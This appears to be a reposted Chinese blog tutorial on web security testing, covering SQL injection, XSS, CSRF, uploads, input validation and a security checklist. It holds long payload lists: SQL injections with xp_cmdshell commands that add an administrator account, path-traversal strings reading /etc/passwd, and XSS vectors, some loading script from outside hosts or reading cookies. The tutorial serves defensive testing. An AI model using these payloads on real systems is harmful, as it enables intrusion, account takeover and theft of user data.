Web測試介紹2一 安全測試


        安全測試是在IT軟件產品的生命周期中,特別是產品開發基本完成到發布階段,對產品進行檢驗以驗證產品符合安全需求定義和產品質量標准的過程.

主要安全需求包括:

(i) 認證 Authentication: Is the information sent from an authenticated user?
(ii) 訪問控制 Access Control: Is data protected from unauthorized users?
(iii) 完整性 Integrity: Does the user receive exactly what is sent?
(iv) 機密性 Delivery: Is the information delivered to the intended user?
(v) 可靠性Reliability: What is the frequency of a failure? How much time does the network take to recover from a failure? What measures are taken to counter catastrophic failure?
(vi) 不可抵賴 Non-repudiation: Is the receiver able to prove that the data received came from a specific sender?

常見的安全威脅,如下圖

image

 

對於CSRF、越權訪問、文件上傳、修改密碼 等漏洞,難以實現自動化檢測的效果,這是因為這些漏洞涉及系統邏輯或業務邏輯,有時候還需要人機交互參與頁面流程,因此 這類漏洞的檢測更多的需要依靠手動測試完成。
 
手工檢測網站URL、后台登陸是否具有SQL注入

就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。

這種范例向您展示了怎樣使用 SQL 注入來耗盡一個結構糟糕的登錄應用程序:
一個網絡應用程序會催促您輸入一個用戶名和密碼來進行登錄,而 SQL 語句是按照下面的方式組織的:

String query = "SELECT * FROM users WHERE user ='"username+"' AND password ='"passwd"'";

變量 username 以及 password 沒有得到細致的處理,並分配給用戶在應用程序中輸入的值。這就使得一些惡意的用戶可以輸入 username 之類的值:

anything' OR 1=1 --

密碼可以是任意值。在這種情況下,假設它是一個星號:*。

對於輸入來說,當代碼替換 username 以及 password 變量時,結構化的查詢是:

SELECT * FROM users WHERE username ='anything' OR 1=1 -- AND password ='*'

該語句解釋了密碼需求,並插入狀況 1=1,這條語句的值一直都是真的。就算沒有相關的權限,攻擊者也會被確認為一個有效的用戶。

其它還有

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)

Cross-site scritping(XSS):(跨站點腳本攻擊)

在這種一般的攻擊中,惡意代碼會植入到第三方的受信網站之中。如果 HTTP 請求可以將其注入到最終 HTML 頁面上的話,那么跨站點腳本漏洞就向這種攻擊開放了。

例如,一項服務會接受名為 image 的參數,來接受來自於文件系統的圖片,來執行一些處理:

http://somedomain/myImageProcessor?image=myimage.jpg

一個入侵者可以通過向 image 參數插入 JavaScript 代碼,來占用該應用程序。其意圖是耗盡錯誤處理系統的資源。如果一個包含惡意腳本的出錯信息會被生成的話,那么入侵者就可以利用這一點了:

http://somedomain/myImageProcessor?image=myimage.jpg<script>...malicious code ...</script>

如果出錯信息返回圖片參數的內容,而不用篩選的話,那么代碼就會封閉到 <script> 標簽內。腳本有可能訪問本地緩存,以攻擊網頁,甚至更改預呈現頁面的內容。通過電子郵件發送惡意鏈接,或者將它們加入到惡意網頁上,就可以利用這些網絡漏洞了。

對於get請求的URL一般漏洞掃描軟件都可掃描到是否存在XSS漏洞。

(1)如何進行XSS測試?

  • <!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如 登錄頁面,搜索頁面,提交評論,發表留言 頁面等等。
  • <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試:

<scrīpt>alert(document.cookie)</scrīpt>

注:其它的XSS測試語句

><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(vulnerable)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascrīpt:alert('XSS');">
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
<IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
<BASE HREF="javascrīpt:alert('XSS');//">
getURL("javascrīpt:alert('XSS')")
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascrīpt:alert('XSS');">
"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
<IMG SRC="javascrīpt:alert('XSS')"
<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

  • 最后,當用戶瀏覽 時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
  • 試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。

  (2) 如何預防XSS漏洞?
從應用程序的角度來講,要進行以下幾項預防:

  • 對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 語句或腳本進行轉義.
  • 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關鍵性的處理操作.

從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:

  • 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進行驗證,着重驗證是否對HTML或腳本代碼進行了轉義。
  • 執行測試過程中也應對上述項進行檢查。

對於POST/GET 的請求,就是要在輸入框輸入的情況,則要進行以下測試:

 ★~!@#$%^&*()_+<>,./?;'"[]{}\-
 ★%3Cinput /%3E
 ★%3Cscript%3Ealert('XSS')%3C/script%3E
 ★<input type="text"/>
 ★<input/>
 ★<input/  
 ★<script>alert('xss')</script>
 ★<script>alert('xss');</script>
 ★</script><script>alert(‘xss’)</script>
 ★javascript:alert(/xss/)
 ★javascript:alert(/xss/)
 ★<img src="#" onerror=alert(/xss/)> 
 ★<img src="#" style="Xss:expression(alert(/xss/));"> 
 ★<img src="#"/**/onerror=alert(/xss/) width=100>
 ★=’><script>alert(document.cookie)</script> 
 ★1.jpg" onmouseover="alert('xss')
 ★"></a><script>alert(‘xss’);</script>
 ★http://xxx';alert('xss');var/ a='a
 ★’”>xss&<
 ★"onmouseover=alert('hello');"
 ★&{alert('hello');}
  ★>"'><script>alert(‘XSS')</script>
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  ★%22%2Balert(%27XSS%27)%2B%22
  ★<table background="javascript:alert(([code])"></table>
  ★<object type=text/html data="javascript:alert(([code]);"></object>
  ★<body onload="javascript:alert(([code])"></body>
  ★a?<script>alert(’Vulnerable’)</script>
 ★<!--'">&:
  var from = ‘$!rundata.Parameters.getString(’from’)';
  var from = ”;hackerFunction(document.cookie);”;

 

CSRF:(跨站點偽造請求)
    CSRF盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,並且攻擊方式幾乎相左。
    XSS是利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
    XSS也好,CSRF也好,它的目的在於竊取用戶的信息,如SESSION 和 COOKIES(關於SESSION 和COOKIES的介紹
http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),
   (1)如何進行CSRF測試?
    關於這個主題本人也正在研究,目前主要通過安全性測試工具來進行檢查。
   (2)如何預防CSRF漏洞?

關於上傳
1.上傳文件是否有格式限制,是否可以上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳並不存在的文件是否會導致異常錯誤;
3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩余空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
避免輸入:\..\web.
修改命名后綴。

輸入驗證
客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格
5.輸入特殊字符串NULL,null,0x0d 0x0a
6.輸入正常字符串
7.輸入與要求不同類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字
8.輸入html和javascript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加刪除等操作后查看變化
例如:

1.輸入<html”>”gfhd</html>,看是否出錯;
2.輸入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出現文本框;
3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。
4.輸入”><script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。
5.輸入 ”><script><” 看是否出現代碼溢出
 

頁面權限泄露
測試在不登陸的情況下是否可以訪問到后台的頁面,這個只要把后台的目錄的URL全部瀏覽一遍即可

關於任意文件下載
查看上傳的圖片文件是否可以刪除,如果可以刪除,查看刪除的URL里面的參數是否可以修改

信息泄露
一個有意志的攻擊者可以通過識別缺點來研究一項應用程序。例如,一個攻擊者可以按照不同的方式來獲取信息:

  • 手動研究應用程序以做到隱藏的目錄
  • 系統性地收集例外情況,以查看應用程序是否給出了詳細的例外情況
  • 掃描 HTML 以得到揭示應用程序基礎及行為具體內容的注釋
  • 系統性地輸入用戶名以找出已存在的賬戶

對於應用程序來說,信息泄漏需要受到人們的重視,開發人員的意識是最好的防御手段。記住這一點,開發人員可以考慮一些減輕問題的措施。

  • 所有評論的清晰 HTML 代碼會揭示應用程序的實際情況。
  • 不要在瀏覽器中顯示特定的例外。如果必須登錄,將它們存儲在服務器上,並顯示常見的錯誤。
  • 不要揭示哪一部分的認證錯誤。
  • 同樣,配置網絡服務器和應用程序服務器設置,以避免在網站和應用程序上任意的導航。

cookie 破壞

所謂的 cookie(緩存)就是服務器向客戶端發送的信息,作為關鍵字/值對存儲在一個文本文件或者內存之中。它的內容可以被創建該內容的網絡應用程序使用。在執行一次網絡應用程序之后編輯緩存的內容,緩存 破壞 攻擊就發生了。

反制措施

  • cookie 破壞的反制措施包括參數認證,以及應用程序代碼和邏輯的仔細檢查。
  • 高級安全性機制也可以得到應用。
    • 一種常見的方法是使用數字簽名,來確認文本文件存儲沒有受到篡改。
    • 另一種反制措施是在傳遞期間將其加密,以保護緩存。

 

Security testing checklist 核對表

認證,訪問控制和隱私  Authentication, Access Control and privacy

1. Are unauthorized users restricted from viewing privatedata?
2. Is sensitive organization information restricted from public access?
3. Are users aware of the privacy polices?
4. Are legal consequences of policies known to the user?
5. Are authentication mechanisms adequate to prevent malicious intrusion to the application?
6. Does the web application ask for login id and password?
7. Does the web server lock the users who try to access the website multiple times with invalid login ids/passwords?
8. Have you tested the combinations of invalid and validlogin ids/passwords?
9. Is there any provision for forget/change password?
10.Are levels of authentication defined?

防火牆 Firewall
11. Does the firewall properly implement all the security policies of the company?
12. Are firewalls’ adequacy tested?
13. Is the ‘security in charge’ aware of the known faults in the
14. Is the location of the firewall effective?
15. Is any penetration possible in the security boundaries

數據安全 Data Security
16. Are the data validations tested?
17. Is sensitive information (such as password, credit card
18. Are privileges to access data enforced?
19. Are file download permissions established and tested?
20. Is sensitive and important data kept at secure locations?

加密 Encryption
21. Are encryption standards enforced?
22. Is there any procedure followed to identify what is to be encrypted?
23. Is sensitive and critical information (such as password,
24. Is Security Socket Layer (SSL) used to provide encryption of sensitive elements?
25. Does the enforcement of encryption standard affect the speed of the web page?

病毒 Virus
26. Are mechanisms used to identify and remove viruses?
27. Are anti-virus softwares scheduled for periodical updates?
28. Does the anti-virus software identify the unprotected sites?
29. Are viruses sent for analysis to the anti-virus software company?
30. Are users trained for virus prevention and recovery procedures?
31. Is the procedure for handling a virus attack adequate?
32. Are users alerted from downloading insecure items?
33. Is legitimate anti-virus software installed on the client’s machine?
34. Is virus scan scheduled periodically?
35. Is spyware removal software installed and run periodically?

故障管理與恢復 Failure Management and Recovery
36.Are back-ups schedules at defined intervals?
37. Does the recovery take a long time?
38. In case of site crash, is there any provision to route to another server?
39.Have recovery mechanisms been defined and tested
40. Is any criteria followed to ensure the completion and correction of recovery procedures?

常規 General
41. Are any warning messages issued when the user enters or leaves the secured website?
42. Is the user allowed to login with the same account from different machines (simultaneously)?
43. Are unauthorized external sites identified and screened out?
44. Can the previous page be accessed after signing out from the website?
45. Is the user able to access restricted pages after the session is timed out?
46. Is auditing performed periodically in order to keep a record of all the operations?
47. Are all payment methods tested thoroughly?
48. Are enough security mechanisms enforced, if customer registration is compulsory on your website?
49. Does the application use digital signature to sign a files?
50. Does the source code reveal any critical information?

 


由於篇幅有限,今天先到這兒,希望對您軟件質量管理有幫助。 其它您可能感興趣的文章:

Web測試介紹一 UI測試
軟件測試流程參考一
十個免費Web UI測試工具
互聯網數據庫架構設計思路
企業級應用架構模式N-Tier多層架構
某企業社交應用網絡拓撲架構圖
IT基礎架構規划方案一(網絡系統規划)
餐飲連鎖公司IT信息化解決方案一
REST服務介紹
企業服務總線Enterprise service bus介紹

如有想了解更多軟件研發 , 系統 IT集成 , 企業信息化,項目管理 等資訊,請關注我的微信訂閱號:

MegadotnetMicroMsg_thumb1_thumb1_thu[1]

 


作者:Petter Liu
出處:http://www.cnblogs.com/wintersun/
本文版權歸作者和博客園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接,否則保留追究法律責任的權利。
該文章也同時發布在我的獨立博客中-Petter Liu Blog


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM